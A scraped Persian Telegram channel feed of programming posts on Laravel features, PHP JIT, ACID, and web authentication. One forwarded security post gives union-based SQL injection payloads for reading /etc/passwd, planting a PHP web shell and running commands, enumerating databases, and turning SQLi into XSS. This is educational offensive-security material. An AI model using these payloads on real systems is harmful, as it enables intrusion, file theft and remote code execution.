Forwarded from Web Application Security
Authentication & Authorization =
پروتکل HTTP یک پروتکل stateless هست. اگه شخصی دوبار پشت سرهم به وب سرور درخواست بفرسته، HTTP متوجه نمیشه که این کاربر همون کاربر قبلیه که درخواست فرستاده بود یعنی وضعیت کاربر رو نگه نمیداره. واسه حل این مشکل پروتکل باید وضعیت کاربر رو جایی ذخیره کنیم(باید یک شناسه از کاربر رو نگه داریم). یکی از اولین ویژگی ها و مکانیزمی که واسه این کار به وجود اومد session بود. برنامه نویس بعد از login برای کاربر یک session سمت سرور ست میکرد که بتونه کاربر رو بشناسه و Authentication و Authorization رو میتونست هندل کنه. session سمت سرور معمولا داخل یک فایل ذخیره میشه و بعد بسته شدن مرورگر کاربر از بین میره.
❓حالا Authentication و Authorization چین؟ Authentication مشخص میکنه من کیم و ما تو این مرحله باید ثابت کنیم که چه کسی هستیم. Authorization بعد از مرحله Authentication میاد و مشخص میکنه کاربر به چه چیز هایی دسترسی داره(سطح دسترسی های مختلفی تو یک web application وجود داره، هر کاربر فقط باید بتونه اطلاعات خودش رو ویرایش کنه و ببینه و همچنین کاربر معمولی نباید به فایل های ادمین سایت دسترسی داشته باشه)
❓کوکی یا cookie چیه؟
بخاطر مشکلی که session داشت و بعد بستن مرورگر از بین میرفت، cookie رو ساختن. Cookie تو مرورگر کاربر ذخیره میشه و طول عمرش دست برنامه نویسه و به خاطر همین کاربر میتونه مدت زمان بیشتری لاگین باشه. Session ID که سمت سرور بود رو به صورت encrypt داخل cookie قرار میدن که کاربر نتونه دست کاریش کنه. به ازای هر درخواستی که کاربر میفرسته سمت سرور، مرورگر به صورت خودکار cookie رو هم واسه اون دامنه میفرسته.
❓ انواع روش های Authentication:
1⃣ Basic Authentication
2⃣ Dijest Authentication
3⃣ Form base Authentication
4⃣ Certificate Authentication
5⃣ Integrated Windows Authentication
6⃣ Token base Authentication(JWT in header)
7⃣ OAuth
8⃣ SSO
هر کدوم از روش های Authentication محدودیت ها و آسیب پذیری های مربوط به خودش رو داره. برای مثال :
- تو token base Authentication آسیب پذیری هایی مثل csrf و cors misconfiguration و cache deception به وجود نمیاد.
- وقتی اطلاعات تو cookie یا localstorage ذخیره میشه با xss میشه اطلاعات رو خوند ولی اگه تو header باشه با xss نمیتونیم بخونیمش.
- روش Basic Authentication آسیب پذیره به MITM.
- تو OAuth یک آسیب پذیری نسبتا بی ارزش مثل open redirect میتونه منجر به Account Takeover بشه.
- روش Integrated Windows Authentication مختص شبکه های مایکروسافتیه.
- روش های certificate Authentication و Integrated Windows Authentication رو تو شبکه های داخلی معمولا استفاده میکنن.
- اگه private key تو certificate Authentication لو بره منجر به mitm میشه.
- وقتی از session استفاده بشه کاربر نمیتونه دست کاریش کنه بر خلاف سایر موارد که سمت کاربر ذخیره میشه(برنامه نویس باید با encryption جلوی تغییر cookie/jwt و.... رو بگیره).
- تو form base Authentication اگه مواردی مثل Error handling رو انجام ندیم ممکنه آسیب پذیری username enumeration به وجود بیاد.
#Authentication
پروتکل HTTP یک پروتکل stateless هست. اگه شخصی دوبار پشت سرهم به وب سرور درخواست بفرسته، HTTP متوجه نمیشه که این کاربر همون کاربر قبلیه که درخواست فرستاده بود یعنی وضعیت کاربر رو نگه نمیداره. واسه حل این مشکل پروتکل باید وضعیت کاربر رو جایی ذخیره کنیم(باید یک شناسه از کاربر رو نگه داریم). یکی از اولین ویژگی ها و مکانیزمی که واسه این کار به وجود اومد session بود. برنامه نویس بعد از login برای کاربر یک session سمت سرور ست میکرد که بتونه کاربر رو بشناسه و Authentication و Authorization رو میتونست هندل کنه. session سمت سرور معمولا داخل یک فایل ذخیره میشه و بعد بسته شدن مرورگر کاربر از بین میره.
❓حالا Authentication و Authorization چین؟ Authentication مشخص میکنه من کیم و ما تو این مرحله باید ثابت کنیم که چه کسی هستیم. Authorization بعد از مرحله Authentication میاد و مشخص میکنه کاربر به چه چیز هایی دسترسی داره(سطح دسترسی های مختلفی تو یک web application وجود داره، هر کاربر فقط باید بتونه اطلاعات خودش رو ویرایش کنه و ببینه و همچنین کاربر معمولی نباید به فایل های ادمین سایت دسترسی داشته باشه)
❓کوکی یا cookie چیه؟
بخاطر مشکلی که session داشت و بعد بستن مرورگر از بین میرفت، cookie رو ساختن. Cookie تو مرورگر کاربر ذخیره میشه و طول عمرش دست برنامه نویسه و به خاطر همین کاربر میتونه مدت زمان بیشتری لاگین باشه. Session ID که سمت سرور بود رو به صورت encrypt داخل cookie قرار میدن که کاربر نتونه دست کاریش کنه. به ازای هر درخواستی که کاربر میفرسته سمت سرور، مرورگر به صورت خودکار cookie رو هم واسه اون دامنه میفرسته.
❓ انواع روش های Authentication:
1⃣ Basic Authentication
2⃣ Dijest Authentication
3⃣ Form base Authentication
4⃣ Certificate Authentication
5⃣ Integrated Windows Authentication
6⃣ Token base Authentication(JWT in header)
7⃣ OAuth
8⃣ SSO
هر کدوم از روش های Authentication محدودیت ها و آسیب پذیری های مربوط به خودش رو داره. برای مثال :
- وقتی اطلاعات تو cookie یا localstorage ذخیره میشه با xss میشه اطلاعات رو خوند ولی اگه تو header باشه با xss نمیتونیم بخونیمش.
- روش Basic Authentication آسیب پذیره به MITM.
- تو OAuth یک آسیب پذیری نسبتا بی ارزش مثل open redirect میتونه منجر به Account Takeover بشه.
- روش Integrated Windows Authentication مختص شبکه های مایکروسافتیه.
- روش های certificate Authentication و Integrated Windows Authentication رو تو شبکه های داخلی معمولا استفاده میکنن.
- اگه private key تو certificate Authentication لو بره منجر به mitm میشه.
- وقتی از session استفاده بشه کاربر نمیتونه دست کاریش کنه بر خلاف سایر موارد که سمت کاربر ذخیره میشه(برنامه نویس باید با encryption جلوی تغییر cookie/jwt و.... رو بگیره).
- تو form base Authentication اگه مواردی مثل Error handling رو انجام ندیم ممکنه آسیب پذیری username enumeration به وجود بیاد.
#Authentication
👍5🙏1
متود "flexible" در لاراول بهمون این امکان رو داده که cache دادهها رو بهطور بهینهتر مدیریت کنیم.
با استفاده ازین متود میتونیم خیلی راحت دادههای کششده رو قبل از expire شدنشون دوباره بررسی و بهروزرسانی بکنیم.
ینی چی؟
اگر دادههای جدیدی در پایگاه داده وجود داشته باشد، کش بهروز میشه و در غیر این صورت از کش موجود استفاده میشه.
این روش به ما کمک میکنه تا دیتای بروزتری داشته باشیم و از مشکلاتی که ممکنه در زمان استفاده از کش پیش بیاد جلوگیری کنیم.
#Laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1839394644100350400?t=95Pm5MBtwXfTQnL-FB5u-Q&s=35
با استفاده ازین متود میتونیم خیلی راحت دادههای کششده رو قبل از expire شدنشون دوباره بررسی و بهروزرسانی بکنیم.
ینی چی؟
اگر دادههای جدیدی در پایگاه داده وجود داشته باشد، کش بهروز میشه و در غیر این صورت از کش موجود استفاده میشه.
این روش به ما کمک میکنه تا دیتای بروزتری داشته باشیم و از مشکلاتی که ممکنه در زمان استفاده از کش پیش بیاد جلوگیری کنیم.
#Laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1839394644100350400?t=95Pm5MBtwXfTQnL-FB5u-Q&s=35
👍5
Forwarded from DevTwitter | توییت برنامه نویسی
چرا PHP نسبت به بقیه زبانها کندتر است و راهکار چیست؟ قسمت دوم
کندی PHP برای شرکتها و سازمانهای بزرگی مانند فیسبوک به یک چالش جدی تبدیل شده بود، زیرا هر فرآیند از ابتدا شروع میشد و این بار اضافی برای سازمانها توجیهپذیر نبود. به همین دلیل فیسبوک تصمیم گرفت معماری HHVM را طراحی کند، که کد PHP را به بایتکد تبدیل کرده و بهصورت Just-In-Time (JIT) کامپایل میکرد.
حالا JIT برای PHP چه کاری انجام میدهد؟
برای توضیح بهتر، تصور کنید یک تعمیرکار یخچال برای تعمیر روزانه در منازل، همه ابزارهای خود را با خودش ببرد. این کار نه تنها او را خسته میکند، بلکه باعث مصرف بیش از حد انرژی و منابع هم میشود.
اما اگر او فقط ابزارهای مورد نیاز برای تعمیر هر یخچال را همراه داشته باشد، کارش سریعتر و بهینهتر انجام میشود.
و jit دقیقاً همین کار را برای کامپایل یک برنامه انجام میدهد؛ یعنی هر بخش از کد فقط زمانی که به آن نیاز باشد، کامپایل و اجرا میشود.
فیسبوک با این روش تونست یک پلتفرم بزرگ رو در اون زمان با php که تقریبا در زبان php ناممکن به نظر میرسید رو عملی کنه
@DevTwitter | <Farhad Safari/>
کندی PHP برای شرکتها و سازمانهای بزرگی مانند فیسبوک به یک چالش جدی تبدیل شده بود، زیرا هر فرآیند از ابتدا شروع میشد و این بار اضافی برای سازمانها توجیهپذیر نبود. به همین دلیل فیسبوک تصمیم گرفت معماری HHVM را طراحی کند، که کد PHP را به بایتکد تبدیل کرده و بهصورت Just-In-Time (JIT) کامپایل میکرد.
حالا JIT برای PHP چه کاری انجام میدهد؟
برای توضیح بهتر، تصور کنید یک تعمیرکار یخچال برای تعمیر روزانه در منازل، همه ابزارهای خود را با خودش ببرد. این کار نه تنها او را خسته میکند، بلکه باعث مصرف بیش از حد انرژی و منابع هم میشود.
اما اگر او فقط ابزارهای مورد نیاز برای تعمیر هر یخچال را همراه داشته باشد، کارش سریعتر و بهینهتر انجام میشود.
و jit دقیقاً همین کار را برای کامپایل یک برنامه انجام میدهد؛ یعنی هر بخش از کد فقط زمانی که به آن نیاز باشد، کامپایل و اجرا میشود.
فیسبوک با این روش تونست یک پلتفرم بزرگ رو در اون زمان با php که تقریبا در زبان php ناممکن به نظر میرسید رو عملی کنه
@DevTwitter | <Farhad Safari/>
👍9❤1
در لاراول وقتی scheduled tasks تعریف میکنین میتونید از دو تابع زیر برای مدیریت نتایج کمک بگیرید که خب باعث میشه در برابر وضعیت تسک هامون اقدامات مرتبط رو به خوبی بتونیم پیاده کنیم.
onSuccess():
اگه task با موفقیت انجام شه این تابع اجرا میشه و میتونید کارهایی مثل ثبت لاگ یا ارسال نوتیفیکیشن و... انجام بدید.
onFailure():
اگر هم تسک با خطا مواجه بشه این تابع اجرا میشه و میتونید عملیات هایی مثل ارسال ایمیل به ادمین یا ثبت خطا رو انجام بدید.
#laravel
@GoldenCodeir
(به منبع و مثالش توجه کنین👇🏾)
https://x.com/laravelbackpack/status/1842527664109965708?t=jW6mq8pujDOiYX00Ls6UYg&s=19
onSuccess():
اگه task با موفقیت انجام شه این تابع اجرا میشه و میتونید کارهایی مثل ثبت لاگ یا ارسال نوتیفیکیشن و... انجام بدید.
onFailure():
اگر هم تسک با خطا مواجه بشه این تابع اجرا میشه و میتونید عملیات هایی مثل ارسال ایمیل به ادمین یا ثبت خطا رو انجام بدید.
#laravel
@GoldenCodeir
(به منبع و مثالش توجه کنین👇🏾)
https://x.com/laravelbackpack/status/1842527664109965708?t=jW6mq8pujDOiYX00Ls6UYg&s=19
👍4❤1
در لاراول، میتونیم یک متود ماکرو به نام response()->api() بسازیم که response های JSON رو سادهتر کنه !
این کار به ما کمک میکنه تا تمام response ها یک فرمت مشخص داشته باشن و دیتایی مثل message و status رو به راحتی اضافه کنیم.
با این متود کدمون منظمتر و مدیریتش هم راحتتر میشه، response ها ساختاره مشخصی دارن و همچنین میتونه در کاهش خطاها کمک کنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین👇🏾)
https://x.com/_newtonjob/status/1846642149766713372?t=lpRqAAcK8krM_ngIIS1MDQ&s=35
این کار به ما کمک میکنه تا تمام response ها یک فرمت مشخص داشته باشن و دیتایی مثل message و status رو به راحتی اضافه کنیم.
با این متود کدمون منظمتر و مدیریتش هم راحتتر میشه، response ها ساختاره مشخصی دارن و همچنین میتونه در کاهش خطاها کمک کنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین👇🏾)
https://x.com/_newtonjob/status/1846642149766713372?t=lpRqAAcK8krM_ngIIS1MDQ&s=35
X (formerly Twitter)
Newton Job (@_newtonjob) on X
When building APIs, I mostly create a little response()->api() macro to simplify the json response and keep it consistent.
#Laravel
#Laravel
👏6👍2
Forwarded from آموزش لاراول | LaravelHub (rwx-rwx-rwx)
🔥 آموزش Broadcasting توی لاراول (با مثال) 🔥
رفقا، امروز میخوایم بریم سراغ یه قابلیت خف ن تو لاراول به اسم Broadcasting! با این قابلیت میتونین یهسری رویدادها رو زنده (real-time) برای کاربرهاتون بفرستین. یعنی مثلاً تو چت آنلاین، اعلانهای لحظهای یا هر چیز دیگه که لازمه سریع به کاربر برسه، این خیلی کارآمده. 😎
خب بریم ببینیم چجوری میتونیم این کار رو انجام بدیم! 👇
قبل از هرچیزی باید Broadcasting رو تو پروژهتون راه بندازین. توی فایل .env، بیاین و Broadcasting رو روی سرویس Pusher تنظیم کنیم. البته میتونین Redis یا Socket.io هم استفاده کنین، ولی اینجا با Pusher میریم جلو. 💻
تو فایل .env اینا رو اضافه کنین:
بعدش باید کتابخونه pusher رو نصب کنین:
حالا میریم سراغ تنظیمات بیشتر!
بعد از تنظیمات اولیه، باید یه سری کانفیگ توی فایل config/broadcasting.php انجام بدیم. تو این فایل، Pusher رو به عنوان درایور انتخاب کنید:
حالا وقتشه یه ایونت درست کنیم! با دستور زیر یه ایونت به اسم MessageSent میسازیم:
این دستور یه کلاس توی پوشه app/Events میسازه. حالا بیاین تو این فایل کد زیر رو اضافه کنیم:
تو این مثال، وقتی یه پیغام ارسال میشه، ما این ایونت رو برای کانال chat broadcast میکنیم. ✉️
حالا باید توی کدی که داریم، ایونت رو بفرستیم. مثلاً توی کنترلر:
این کد باعث میشه که پیغام به صورت real-time بره برای کسایی که تو کانال chat عضو هستن. 💬
برای اینکه از طرف کاربرها پیامها رو دریافت کنیم، باید توی سمت فرانت هم یه سری تنظیمات انجام بدیم. اگه از Vue.js یا React استفاده میکنین، میتونین از Laravel Echo استفاده کنین که کدتون رو خیلی راحتتر و تمیزتر میکنه.
اول laravel-echo و pusher-js رو نصب کنین:
بعد توی فایل جاوااسکریپتتون، چیزی مثل این رو تنظیم کنین:
به همین راحتی! وقتی پیامی ارسال بشه، شما اون رو از طریق جاوااسکریپت توی مرورگر میگیرید و میتونید هر کاری که میخواید باهاش انجام بدید! 😍
خلاصه اگه یه اپلیکیشن دارین که نیاز به رویدادهای زنده داره، Broadcasting تو لاراول میتونه بهترین راهحل باشه. با استفاده از Pusher و Laravel Echo، کارتون خیلی سریع و تمیز انجام میشه.
سوالی داشتین تو کامنتها بپرسین! 😁
🔥⚡️ کانال آموزشی LaravelHub
@LaraveHub
رفقا، امروز میخوایم بریم سراغ یه قابلیت خف ن تو لاراول به اسم Broadcasting! با این قابلیت میتونین یهسری رویدادها رو زنده (real-time) برای کاربرهاتون بفرستین. یعنی مثلاً تو چت آنلاین، اعلانهای لحظهای یا هر چیز دیگه که لازمه سریع به کاربر برسه، این خیلی کارآمده. 😎
خب بریم ببینیم چجوری میتونیم این کار رو انجام بدیم! 👇
قبل از هرچیزی باید Broadcasting رو تو پروژهتون راه بندازین. توی فایل .env، بیاین و Broadcasting رو روی سرویس Pusher تنظیم کنیم. البته میتونین Redis یا Socket.io هم استفاده کنین، ولی اینجا با Pusher میریم جلو. 💻
تو فایل .env اینا رو اضافه کنین:
BROADCAST_DRIVER=pusher
PUSHER_APP_ID=your-app-id
PUSHER_APP_KEY=your-app-key
PUSHER_APP_SECRET=your-app-secret
PUSHER_HOST=
PUSHER_PORT=443
PUSHER_SCHEME=https
PUSHER_APP_CLUSTER=mt1
بعدش باید کتابخونه pusher رو نصب کنین:
composer require pusher/pusher-php-server
حالا میریم سراغ تنظیمات بیشتر!
بعد از تنظیمات اولیه، باید یه سری کانفیگ توی فایل config/broadcasting.php انجام بدیم. تو این فایل، Pusher رو به عنوان درایور انتخاب کنید:
'connections' => [
'pusher' => [
'driver' => 'pusher',
'key' => env('PUSHER_APP_KEY'),
'secret' => env('PUSHER_APP_SECRET'),
'app_id' => env('PUSHER_APP_ID'),
'options' => [
'cluster' => env('PUSHER_APP_CLUSTER'),
'useTLS' => true,
],
],
],
حالا وقتشه یه ایونت درست کنیم! با دستور زیر یه ایونت به اسم MessageSent میسازیم:
php artisan make:event MessageSent
این دستور یه کلاس توی پوشه app/Events میسازه. حالا بیاین تو این فایل کد زیر رو اضافه کنیم:
class MessageSent implements ShouldBroadcast
{
public $message;
public function __construct($message)
{
$this->message = $message;
}
public function broadcastOn()
{
return new Channel('chat');
}
}
تو این مثال، وقتی یه پیغام ارسال میشه، ما این ایونت رو برای کانال chat broadcast میکنیم. ✉️
حالا باید توی کدی که داریم، ایونت رو بفرستیم. مثلاً توی کنترلر:
event(new MessageSent('سلام! این یه پیام لایو از طرف علیرضا هست'));این کد باعث میشه که پیغام به صورت real-time بره برای کسایی که تو کانال chat عضو هستن. 💬
برای اینکه از طرف کاربرها پیامها رو دریافت کنیم، باید توی سمت فرانت هم یه سری تنظیمات انجام بدیم. اگه از Vue.js یا React استفاده میکنین، میتونین از Laravel Echo استفاده کنین که کدتون رو خیلی راحتتر و تمیزتر میکنه.
اول laravel-echo و pusher-js رو نصب کنین:
npm install --save laravel-echo pusher-js
بعد توی فایل جاوااسکریپتتون، چیزی مثل این رو تنظیم کنین:
import Echo from "laravel-echo";
window.Pusher = require('pusher-js');
window.Echo = new Echo({
broadcaster: 'pusher',
key: process.env.MIX_PUSHER_APP_KEY,
cluster: process.env.MIX_PUSHER_APP_CLUSTER,
encrypted: true
});
window.Echo.channel('chat')
.listen('MessageSent', (e) => {
console.log(e.message);
});
به همین راحتی! وقتی پیامی ارسال بشه، شما اون رو از طریق جاوااسکریپت توی مرورگر میگیرید و میتونید هر کاری که میخواید باهاش انجام بدید! 😍
خلاصه اگه یه اپلیکیشن دارین که نیاز به رویدادهای زنده داره، Broadcasting تو لاراول میتونه بهترین راهحل باشه. با استفاده از Pusher و Laravel Echo، کارتون خیلی سریع و تمیز انجام میشه.
سوالی داشتین تو کامنتها بپرسین! 😁
🔥⚡️ کانال آموزشی LaravelHub
@LaraveHub
👍4❤2🔥2
متود emailOutputOnFailure در لاراول به ما این امکان رو میده که اگه یک Command دچار خطا شد، خروجی خطا بطور خودکار به ایمیلمون ارسال بشه.
مثلا چی؟
وقتی یک عملیات API با مشکل مواجه میشه، به جای بررسی لاگها، خیلی سریع ازین موضوع مطلع میشیم!
این متود در شناسایی و حل سریع مشکلات میتونه مفید واقع بشه.
#laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1848448292037746738?s=19
مثلا چی؟
وقتی یک عملیات API با مشکل مواجه میشه، به جای بررسی لاگها، خیلی سریع ازین موضوع مطلع میشیم!
این متود در شناسایی و حل سریع مشکلات میتونه مفید واقع بشه.
#laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1848448292037746738?s=19
❤2👍2
Forwarded from Pink Orca | پینک اورکا
This media is not supported in your browser
VIEW IN TELEGRAM
~> ACID Properties
ACID یه سری خصوصیات کلیدی هستش که تو دیتابیسهای رابطهای برای تضمین صحت تراکنشها (Transactions) استفاده میشه. این مفهوم اولین بار سال 1983 توسط Theo Härder و Andreas Reuter معرفی شد.
حالا ACID مخفف چیه؟!⬇️
Atomicity (اتمی بودن): یعنی یه تراکنش یا باید کامل انجام بشه یا اصلا انجام نشه. مثلا وقتی پول از یه حساب بانکی به حساب دیگه منتقل میشه، یا باید هم کم شدن از حساب اول و هم اضافه شدن به حساب دوم انجام بشه، یا هیچکدوم انجام نشه. حالت نصفه و نیمه نداریم. اگه وسط کار مشکلی پیش بیاد، عملیات Rollback میشه.
Consistency (سازگاری): یعنی دیتابیس باید همیشه تو حالت معتبر (valid) باشه، چه قبل تراکنش و چه بعدش. مثلا اگه قانون داریم که موجودی حساب نباید منفی بشه، هیچ تراکنشی نمیتونه این قانون رو نقض کنه. اگه تراکنشی بخواد این کار رو بکنه، کامل کنسل میشه.
Isolation (انزوا): یعنی تراکنشهای همزمان نباید روی هم تاثیر بذارن. مثلا اگه دو نفر همزمان از یه حساب برداشت میکنن، سیستم باید طوری مدیریت کنه که نتیجه نهایی درست باشه. این کار با مکانیزمهای مختلف Locking انجام میشه.
سطوح مختلف Isolation وجود داره:
- Read Uncommitted: کمترین سطح ایزوله بودن.
- Read Committed: فقط تغییرات تایید شده دیده میشن.
- Repeatable Read: خوندنهای تکراری نتیجه یکسان میدن.
- Serializable: بالاترین سطح ایزوله بودن.
Durability (ماندگاری): یعنی وقتی تراکنشی موفق انجام شد (Commit شد)، تغییراتش باید دائمی باشه و حتی با قطع برق یا کرش سیستم هم از بین نره. این کار معمولا با Write-Ahead Logging (WAL) انجام میشه.
تو دنیای واقعی گاهی باید بین این خصوصیات تعادل برقرار کرد. مثلا NoSQLها معمولا از مدل BASE استفاده میکنن که Basically Available, Soft State, Eventually Consistent هستش و سازگاری کمتری داره ولی در عوض مقیاسپذیری (Scalability) بیشتری داره.
PostgreSQL یکی از بهترین پیادهسازیهای ACID رو داره و میتونه همه سطوح Isolation رو ساپورت کنه. MySQL هم ACID رو پشتیبانی میکنه ولی فقط با موتور InnoDB، موتور MyISAM این قابلیت رو نداره.
یه نکته جالب اینه که پیادهسازی ACID روی عملکرد (Performance) دیتابیس تاثیر منفی میذاره. به همین خاطر بعضی سیستمها مثل Redis از تکنیکهای خاصی مثل AOF (Append-Only File) استفاده میکنن تا تعادل بهتری بین کارایی و تضمینهای ACID برقرار کنن.
#نرم_افزار #علوم_کامپیوتر #نوشته
~> @PinkOrca🩷
ACID یه سری خصوصیات کلیدی هستش که تو دیتابیسهای رابطهای برای تضمین صحت تراکنشها (Transactions) استفاده میشه. این مفهوم اولین بار سال 1983 توسط Theo Härder و Andreas Reuter معرفی شد.
حالا ACID مخفف چیه؟!⬇️
Atomicity (اتمی بودن): یعنی یه تراکنش یا باید کامل انجام بشه یا اصلا انجام نشه. مثلا وقتی پول از یه حساب بانکی به حساب دیگه منتقل میشه، یا باید هم کم شدن از حساب اول و هم اضافه شدن به حساب دوم انجام بشه، یا هیچکدوم انجام نشه. حالت نصفه و نیمه نداریم. اگه وسط کار مشکلی پیش بیاد، عملیات Rollback میشه.
Consistency (سازگاری): یعنی دیتابیس باید همیشه تو حالت معتبر (valid) باشه، چه قبل تراکنش و چه بعدش. مثلا اگه قانون داریم که موجودی حساب نباید منفی بشه، هیچ تراکنشی نمیتونه این قانون رو نقض کنه. اگه تراکنشی بخواد این کار رو بکنه، کامل کنسل میشه.
Isolation (انزوا): یعنی تراکنشهای همزمان نباید روی هم تاثیر بذارن. مثلا اگه دو نفر همزمان از یه حساب برداشت میکنن، سیستم باید طوری مدیریت کنه که نتیجه نهایی درست باشه. این کار با مکانیزمهای مختلف Locking انجام میشه.
سطوح مختلف Isolation وجود داره:
- Read Uncommitted: کمترین سطح ایزوله بودن.
- Read Committed: فقط تغییرات تایید شده دیده میشن.
- Repeatable Read: خوندنهای تکراری نتیجه یکسان میدن.
- Serializable: بالاترین سطح ایزوله بودن.
Durability (ماندگاری): یعنی وقتی تراکنشی موفق انجام شد (Commit شد)، تغییراتش باید دائمی باشه و حتی با قطع برق یا کرش سیستم هم از بین نره. این کار معمولا با Write-Ahead Logging (WAL) انجام میشه.
تو دنیای واقعی گاهی باید بین این خصوصیات تعادل برقرار کرد. مثلا NoSQLها معمولا از مدل BASE استفاده میکنن که Basically Available, Soft State, Eventually Consistent هستش و سازگاری کمتری داره ولی در عوض مقیاسپذیری (Scalability) بیشتری داره.
PostgreSQL یکی از بهترین پیادهسازیهای ACID رو داره و میتونه همه سطوح Isolation رو ساپورت کنه. MySQL هم ACID رو پشتیبانی میکنه ولی فقط با موتور InnoDB، موتور MyISAM این قابلیت رو نداره.
یه نکته جالب اینه که پیادهسازی ACID روی عملکرد (Performance) دیتابیس تاثیر منفی میذاره. به همین خاطر بعضی سیستمها مثل Redis از تکنیکهای خاصی مثل AOF (Append-Only File) استفاده میکنن تا تعادل بهتری بین کارایی و تضمینهای ACID برقرار کنن.
#نرم_افزار #علوم_کامپیوتر #نوشته
~> @PinkOrca
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5👏1🙏1
Forwarded from Web Application Security
آسیب پذیری SQL injection =
از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.
فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
1⃣
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود
و XSS اتفاق میفته.
2⃣
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
3⃣
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
4⃣
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.
به دست آوردن لیست همه ی دیتابیس ها:
بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.
#SQLi
از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.
فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--
1⃣
تبدیل SQLi به XSS:بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود
<img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--
و XSS اتفاق میفته.
2⃣
خوندن فایل های درون سرور:با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--3⃣
ساختن و نوشتن فایل درون سرور:با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--
نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--
واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
shell.php?cmd=whoami
4⃣
دسترسی به سایر دیتابیس ها:با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
database()
@@database
Version()
@@version
ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.
به دست آوردن لیست همه ی دیتابیس ها:
app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--
بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.
#SQLi
🔥4👍1👏1
قابلیته aware در لاراول به ما این امکان رو میده که props کامپوننت اصلی رو به کامپوننتهای فرزند منتقل کنیم!
بدون اینکه نیازی به تعریف دوباره ی اونا داشته باشیم. این ویژگی باعث کمتر شدنه تکرار کد و بهبود ساختار برنامه میشه. با این کار فرزند میتونه به راحتی به اطلاعات والد دسترسی داشته باشه و کدمون تمیزتر خواهد بود.
#laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1852091480598368686?s=35
بدون اینکه نیازی به تعریف دوباره ی اونا داشته باشیم. این ویژگی باعث کمتر شدنه تکرار کد و بهبود ساختار برنامه میشه. با این کار فرزند میتونه به راحتی به اطلاعات والد دسترسی داشته باشه و کدمون تمیزتر خواهد بود.
#laravel
